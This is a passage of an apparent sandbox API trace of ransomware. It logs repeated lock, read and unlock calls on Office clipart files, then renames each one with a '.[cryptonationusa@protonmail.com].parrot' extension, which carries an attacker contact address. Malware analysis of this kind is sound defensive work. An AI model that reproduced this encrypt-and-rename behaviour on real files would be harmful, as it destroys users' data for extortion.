lpOverlapped=0x0) returned 1 [0135.749] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.750] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4146, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4146, lpOverlapped=0x0) returned 1 [0135.750] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.751] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x425e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.751] CloseHandle (hObject=0x27c) returned 1 [0135.751] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.754] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9e3f, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.754] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.754] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.756] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.757] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9d27, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9d27, lpOverlapped=0x0) returned 1 [0135.759] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.760] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9e3f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.760] CloseHandle (hObject=0x27c) returned 1 [0135.760] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.763] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8491, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.763] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.763] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.768] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.768] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8379, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8379, lpOverlapped=0x0) returned 1 [0135.794] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.795] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8491, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.795] CloseHandle (hObject=0x27c) returned 1 [0135.795] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.802] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf1d9, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.802] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.802] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.804] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.804] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf0c1, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf0c1, lpOverlapped=0x0) returned 1 [0135.809] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.811] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf1d9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.811] CloseHandle (hObject=0x27c) returned 1 [0135.811] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.827] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc16e, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.827] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.827] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.832] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.832] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc056, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc056, lpOverlapped=0x0) returned 1 [0135.837] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.838] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc16e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.838] CloseHandle (hObject=0x27c) returned 1 [0135.838] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.843] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x539d, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.843] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.843] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.855] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.856] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5285, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5285, lpOverlapped=0x0) returned 1 [0135.859] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.859] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x539d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.859] CloseHandle (hObject=0x27c) returned 1 [0135.860] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.863] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x46e3, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.863] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.863] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.865] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.865] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x45cb, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x45cb, lpOverlapped=0x0) returned 1 [0135.866] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.866] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x46e3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.866] CloseHandle (hObject=0x27c) returned 1 [0135.866] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.870] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7d82, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.870] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.870] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.872] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.872] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7c6a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7c6a, lpOverlapped=0x0) returned 1 [0135.874] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.875] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7d82, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.875] CloseHandle (hObject=0x27c) returned 1 [0135.876] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.882] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x90ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.882] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.882] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.889] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.890] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8fd4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8fd4, lpOverlapped=0x0) returned 1 [0135.894] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.895] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x90ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.895] CloseHandle (hObject=0x27c) returned 1 [0135.895] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.023] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x90d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.023] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.024] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.025] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.026] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8fb8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8fb8, lpOverlapped=0x0) returned 1 [0136.114] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.115] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x90d0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.115] CloseHandle (hObject=0x288) returned 1 [0136.115] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.120] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8b73, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.120] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.120] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.123] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.123] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8a5b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8a5b, lpOverlapped=0x0) returned 1 [0136.127] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.127] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8b73, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.127] CloseHandle (hObject=0x288) returned 1 [0136.128] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.131] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x85be, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.131] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.131] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.133] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.133] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x84a6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x84a6, lpOverlapped=0x0) returned 1 [0136.137] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.137] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x85be, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.137] CloseHandle (hObject=0x288) returned 1 [0136.137] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.141] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9b8e, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.141] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.141] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.143] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.143] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9a76, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9a76, lpOverlapped=0x0) returned 1 [0136.146] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.147] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9b8e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.147] CloseHandle (hObject=0x288) returned 1 [0136.147] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.150] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb6c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.150] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.150] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.302] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.304] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb5ac, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb5ac, lpOverlapped=0x0) returned 1 [0136.343] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.460] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb6c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.460] CloseHandle (hObject=0x288) returned 1 [0136.461] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.470] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xabb2, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.470] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.470] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.472] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.472] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaa9a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, 